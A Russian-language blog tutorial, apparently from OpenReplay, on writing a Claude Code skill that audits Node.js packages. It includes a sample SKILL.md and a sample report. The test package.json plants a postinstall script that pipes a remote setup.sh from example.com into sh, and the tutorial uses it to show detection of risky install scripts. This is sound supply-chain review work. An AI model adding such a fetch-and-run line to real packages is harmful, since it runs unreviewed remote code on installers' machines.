12k
All articles

Как провести аудит Node-проекта с помощью AI-скилла

Создайте навык Claude Code для аудита пакетов Node.js: неиспользуемые зависимости, рискованные скрипты, неверные exports и engines — с доказательствами и оценкой уверенности.

OpenReplay Team
OpenReplay Team
Как провести аудит Node-проекта с помощью AI-скилла

Чтобы провести аудит Node-проекта с помощью AI-скилла, закоммитьте файл SKILL.md в .claude/skills/<skill-name>/. Скилл должен подставлять в промпт реальный package.json и содержимое сборки, а также поручать Claude Code выполнить короткий список проверок, требующих суждения, и подкреплять каждый вывод доказательствами.

Большинство ревью пакетов заканчивается одними и теми же четырьмя замечаниями: зависимость, которую давно никто не импортирует; скрипт postinstall, который никто не читал; отсутствующее поле engines; карта exports, указывающая на файл, которого сборка не создаёт. И эти замечания приходится писать заново в каждом PR.

В этой статье мы создадим небольшой скилл для такого аудита. Мы приведём файл целиком, объясним, как добиться того, чтобы он срабатывал на запрос «проведи аудит пакета», а не на каждую правку, и разберём его запуск на тестовом репозитории. Также рассмотрим, в чём скилл, скорее всего, будет ошибаться.

Ключевые выводы

  • Проектный скилл Claude Code — это папка .claude/skills/<skill-name>/ с файлом SKILL.md. Закоммитьте эту папку, и каждый, кто клонирует репозиторий, получит одну и ту же команду /skill-name.
  • Строка в SKILL.md, начинающаяся с !cat package.json, выполняется до того, как Claude прочитает скилл, поэтому аудит опирается на реальный манифест, а не на догадки о нём.
  • Если внедрённая команда завершается с ошибкой, Claude Code прерывает весь вызов. В оболочке bash по умолчанию ошибкой считается любой ненулевой код возврата, за исключением кода 1 у команд поиска и сравнения. К команде, которая может завершиться неудачно по вполне законным причинам, нужно добавить || true.
  • Скилл для аудита должен читать install-скрипты и никогда их не запускать. Не допускайте npm install, npm ci и npm run ни во внедряемых командах, ни в allowed-tools.
  • ESLint, npm audit и publint дают одинаковый ответ на одинаковые входные данные. Скилл для аудита — нет, поэтому используйте его только для вопросов, требующих суждения.

Одни и те же четыре замечания в каждом PR

Одни и те же замечания на ревью пакетов повторяются потому, что стоящие за ними проблемы невозможно решить правилом. Чтобы понять, нужна ли ещё зависимость, приходится искать её использование по кодовой базе. Чтобы понять, не делает ли скрипт postinstall чего-то неожиданного, его нужно прочитать. Ни для того, ни для другого у линтера нет опции конфигурации.

Скилл Claude Code хорошо подходит для такой работы, требующей суждения. Это переиспользуемый набор инструкций, записанный в файле SKILL.md, который Claude Code загружает, когда запрос соответствует его описанию или когда вы вводите его имя. Если вы впервые сталкиваетесь с этим форматом, концепцию объясняют руководства по скиллам Claude Code для фронтенд-воркфлоу и переиспользуемым возможностям AI-агентов.

Как создать скилл Claude Code для аудита пакетов

Чтобы создать скилл Claude Code, добавьте в .claude/skills/ каталог с файлом SKILL.md. Файл содержит YAML-frontmatter между маркерами ---, за которым следуют инструкции в Markdown. Имя каталога или поле name во frontmatter становится слеш-командой.

Создайте папку скилла

Проектные скиллы хранятся в папке .claude репозитория. Claude Code загружает скилл, сохранённый по пути .claude/skills/<skill-name>/SKILL.md, в каждой сессии в этом репозитории.

mkdir -p .claude/skills/node-package-audit

Полный файл SKILL.md

Сохраните этот файл как .claude/skills/node-package-audit/SKILL.md. Открывающий --- должен находиться в первой строке.

---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---

## Manifest
!`cat package.json`

## Top-level files
!`ls -a`

## Build output
!`ls dist lib build || true`

## Instructions

Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.

For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.

1. Dependencies: for each entry in dependencies and devDependencies,
   search src, scripts in package.json, config files and bin entries for
   a use. Flag only entries with no reference anywhere. Tools can be
   referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
   against the build output listed above. Flag paths that point at files
   that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
   Flag anything that downloads, runs a remote script, writes outside
   the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
   the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
   syntax or APIs used in the source.

Finish with a table of findings, then a short list of what you could not
check and why.

Что делают frontmatter и внедряемые команды

Все ключи этого файла перечислены в справочнике по frontmatter. Ни один из них не обязателен, хотя документация рекомендует задавать description. Неизвестный ключ не вызывает ошибки: Claude Code просто пропускает его, так что опечатка вроде allowed_tools исчезнет без какого-либо предупреждения.

Три строки с ! используют динамическое внедрение контекста. Прежде чем Claude прочитает скилл, Claude Code выполняет каждую команду и заменяет строку её выводом. Сбой любой из них прерывает весь вызов. ls возвращает ненулевой код, если запрошенного каталога не существует, а у ещё не собранного пакета нет dist/. Поэтому строка с содержимым сборки заканчивается на || true. У cat package.json резервного варианта нет намеренно: в Node-пакете отсутствие манифеста должно останавливать аудит.

Для внедряемых команд Claude Code не показывает запрос разрешения. Вне auto mode внедряемая команда, которую ваши правила разрешений явно не допускают, останавливает вызов, и именно через allowed-tools скилл заранее одобряет такие команды. Claude Code проверяет каждую часть составной команды отдельно, поэтому для ls dist lib build || true нужно правило не только для ls, но и для true. Вот почему в allowed-tools входит Bash(true). Разрешение действует только в рамках хода, в котором был вызван скилл. Если запуск прерывается с ошибкой Shell command permission check failed, добавьте правило, разрешающее эту команду, в настройки разрешений.

Стоит знать о двух необязательных полях frontmatter в SKILL.md. paths ограничивает автоматическую загрузку работой с файлами, соответствующими заданным glob-шаблонам. disable-model-invocation: true заставляет скилл запускаться только тогда, когда вы вводите /node-package-audit.

Пишите описание, которое срабатывает на аудит, а не на правки

Claude использует поле description, чтобы решить, загружать ли скилл без явного запроса. Описание вроде «Помогает с Node-проектами» слишком расплывчато, чтобы надёжно сопоставляться с запросом «проведи аудит пакета», и одновременно настолько широко, что скилл будет загружаться во время посторонней работы.

Описание node-package-audit выше называет сценарий использования в первом же предложении, перечисляет глаголы-триггеры (audit, review, sanity-check, ready to publish) и заканчивается явным исключением. В списке скиллов объединённый текст description и when_to_use обрезается после 1536 символов, поэтому основной сценарий должен идти первым. Если скилл всё равно срабатывает слишком часто, документация рекомендует сделать описание более конкретным или перейти на вызов только вручную.

Пять проверок, требующих суждения, а не правил

Каждая проверка в скилле задаёт вопрос, ответ на который зависит от контекста, и каждая требует ссылки на файл или поле, прежде чем вывод будет считаться подтверждённым.

Нужна ли ещё каждая зависимость? Прежде чем пометить зависимость, скилл должен поискать её использование. Импорты — простой случай. Сложнее с пакетами, которые вызываются как CLI в scripts, и плагинами, указанными строками в конфигурационных файлах.

Соответствует ли exports содержимому сборки? Скилл сравнивает объявленные пути с полученным выводом ls. Путь к несуществующему файлу — подтверждённая находка. Сомнение в том, указывает ли условие на правильный формат, обычно помечается как неподтверждённое.

Не делают ли install-скрипты чего-то неожиданного? npm 11 по умолчанию запускает скрипты preinstall, install и postinstall зависимостей. Он также запускает prepare для зависимостей, установленных не из реестра, например из git. npm 12, вышедший 8 июля 2026 года, перестаёт запускать эти скрипты зависимостей, если пакет не был одобрен, и точно так же блокирует prepare для зависимостей из git, file и link. Проекты на npm 11 и более ранних версиях, а также одобренные пакеты по-прежнему их запускают. Скрипт, передающий удалённый файл в оболочку, заслуживает замечания на ревью. Скилл читает эти скрипты и никогда не должен их запускать — поэтому ни одна команда npm не встречается ни во внедряемых строках, ни в allowed-tools. Та же логика защиты цепочки поставок применима к конфигурации CI, о чём рассказывает статья об аудите безопасности GitHub workflow. Доверие к рабочему пространству не распространяется на allowed-tools в закоммиченном скилле: Claude Code учитывает это поле даже в папке, которой вы никогда не доверяли, поэтому проверяйте его в любом клонируемом репозитории.

Следует ли структура файлов соглашениям репозитория? Под «соглашениями» понимается то, как уже устроены соседние пакеты. Инструкция помечать отклонения, а не предпочтения, не даёт проверке превратиться в советы по стилю.

Отсутствует или неверно ли поле engines? npm применяет engines принудительно, только если при установке включён engine-strict. В остальных случаях несоответствие версии выводит предупреждение, и установка продолжается. Отсутствующий или неверный диапазон даёт тихий сбой — именно поэтому эту проверку стоит выполнять.

Убедитесь, что скилл срабатывает, и запустите его

Проверить, что скилл срабатывает, можно четырьмя способами: спросить «What skills are available?», вызвать /node-package-audit напрямую, выполнить claude plugin validate .claude/skills или запустить Claude Code с флагом --debug.

What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug

Для claude plugin validate требуется Claude Code v2.1.233 или новее. Если /node-package-audit работает, а запрос «audit this package» не активирует скилл, в первую очередь проверьте frontmatter. Frontmatter, который не удалось разобрать, не мешает загрузке скилла. Claude Code загружает его без метаданных, поэтому слеш-команда по-прежнему работает, но у Claude нет описания, с которым можно сопоставить запрос. Документация также советует держать SKILL.md в пределах 500 строк.

Тестовый пакет с заложенными дефектами

Этот package.json содержит четыре намеренно заложенных дефекта. В его dist/ находятся только index.js и index.d.ts, а в .prettierrc по имени указан prettier-plugin-organize-imports.

{
  "name": "@acme/date-utils",
  "version": "1.4.0",
  "type": "module",
  "main": "./dist/index.js",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.mjs"
    }
  },
  "scripts": {
    "build": "tsc",
    "lint": "eslint .",
    "postinstall": "curl -fsSL https://example.com/setup.sh | sh"
  },
  "dependencies": {
    "left-pad": "^1.3.0"
  },
  "devDependencies": {
    "eslint": "^9.0.0",
    "prettier-plugin-organize-imports": "^4.0.0",
    "typescript": "^5.6.0"
  }
}

Заложенные дефекты: неиспользуемый left-pad, путь в exports к несуществующему index.mjs, postinstall, передающий удалённый скрипт в оболочку, и отсутствие поля engines.

Результат и промах

Отчёт возвращается в виде таблицы находок, за которой следует список «could not check». Вот пример того, как это выглядит для данного тестового пакета.

Findings

| # | Check        | Finding                                              | Evidence                                          | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package          | no import in src/, not named in scripts or config | confirmed  |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused       | no import in src/                                 | unverified |
| 3 | Exports      | exports["."].import points at a missing file         | ./dist/index.mjs is not in the build output       | confirmed  |
| 4 | Lifecycle    | postinstall downloads and runs a remote script       | scripts.postinstall pipes curl output to sh       | confirmed  |
| 5 | Engines      | package.json has no engines field                    | no "engines" key in package.json                  | confirmed  |

Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.

Ожидаемый промах — ложная пометка «неиспользуемый» у prettier-plugin-organize-imports, поскольку он встречается только в виде строки в конфигурационном файле. Инструкции скилла снижают этот риск, но не устраняют его полностью. Сначала смотрите на столбец уверенности: воспринимайте неподтверждённую находку по зависимости как повод самостоятельно поискать её через grep, а не как основание для удаления.

Скилл — не линтер

Скилл отвечает на вопросы, с которыми не справляются детерминированные инструменты, и иногда будет ошибаться. ESLint и publint возвращают одинаковый результат для одинаковых входных данных, как и npm audit для заданного набора advisory, поэтому их место — в CI в качестве жёстких проверок. Место скилла для аудита — на ревью, где человек изучает его доказательства, прежде чем что-либо предпринимать. Аргументы в пользу автоматизации детерминированных проверок кода по-прежнему актуальны, и скилл ничего из этого не заменяет.

Неверный путь в exports или ошибочный диапазон engines обычно проявляются во время выполнения, а не в CI. Session replay показывает возникший в результате пустой экран, ошибку в консоли и неудачный запрос в контексте, а скилл выявляет статическую причину ещё до публикации.

Заключение

Небольшой скилл для аудита работает благодаря узкой области применения: он внедряет реальные файлы, выполняет пять проверок со ссылками на доказательства, читает install-скрипты, не запуская их, и прямо сообщает, когда не уверен. Закоммитьте приведённый выше SKILL.md, запустите /node-package-audit на пакете, который вы ревьюите чаще всего, и переносите каждую повторяющуюся находку в детерминированное правило, если её можно им выразить.

Часто задаваемые вопросы

Нужна ли проверка install-скриптов теперь, когда npm 12 блокирует их?

Да. npm 12.0.0 больше не запускает скрипты preinstall, install и postinstall зависимостей, если они не одобрены через npm approve-scripts, и точно так же блокирует скрипты prepare для зависимостей из git, file и link. Потребители на npm 11 и более ранних версиях по-прежнему запускают их по умолчанию, а одобренные пакеты продолжают их выполнять. Скрипт postinstall, передающий удалённый скрипт в оболочку, по-прежнему требует ревью.

Где должен находиться скилл для аудита в монорепозитории с множеством пакетов?

Поместите общий скилл для аудита в корневую папку .claude/skills, чтобы он применялся ко всему репозиторию. Для правил, специфичных для одного пакета, закоммитьте отдельный скилл внутри этого пакета, например в packages/api/.claude/skills/. Claude Code обнаруживает вложенные папки скиллов, когда вы работаете с файлами в соответствующем подкаталоге, поэтому скилл отдельного пакета может не появиться, пока Claude не прочитает или не отредактирует файл в нём.

Что произойдёт, если у разработчика есть личный скилл с тем же именем, что и закоммиченный?

Приоритет получит личный скилл. Claude Code разрешает конфликты имён скиллов в порядке enterprise, затем personal, затем project, поэтому скилл по пути ~/.claude/skills/node-package-audit/SKILL.md перекрывает для этого разработчика закоммиченный .claude/skills/node-package-audit/SKILL.md. Скиллы плагинов имеют собственное пространство имён и никогда не конфликтуют. Если аудит у коллеги не учитывает последние изменения в версии из репозитория, в первую очередь проверьте, нет ли у него личного скилла с тем же именем.

Understand every bug

Uncover frustrations, understand bugs and fix slowdowns like never before with OpenReplay — self-hosted, with full data ownership.

Star on GitHub

We use cookies to improve your experience. By using our site, you accept cookies.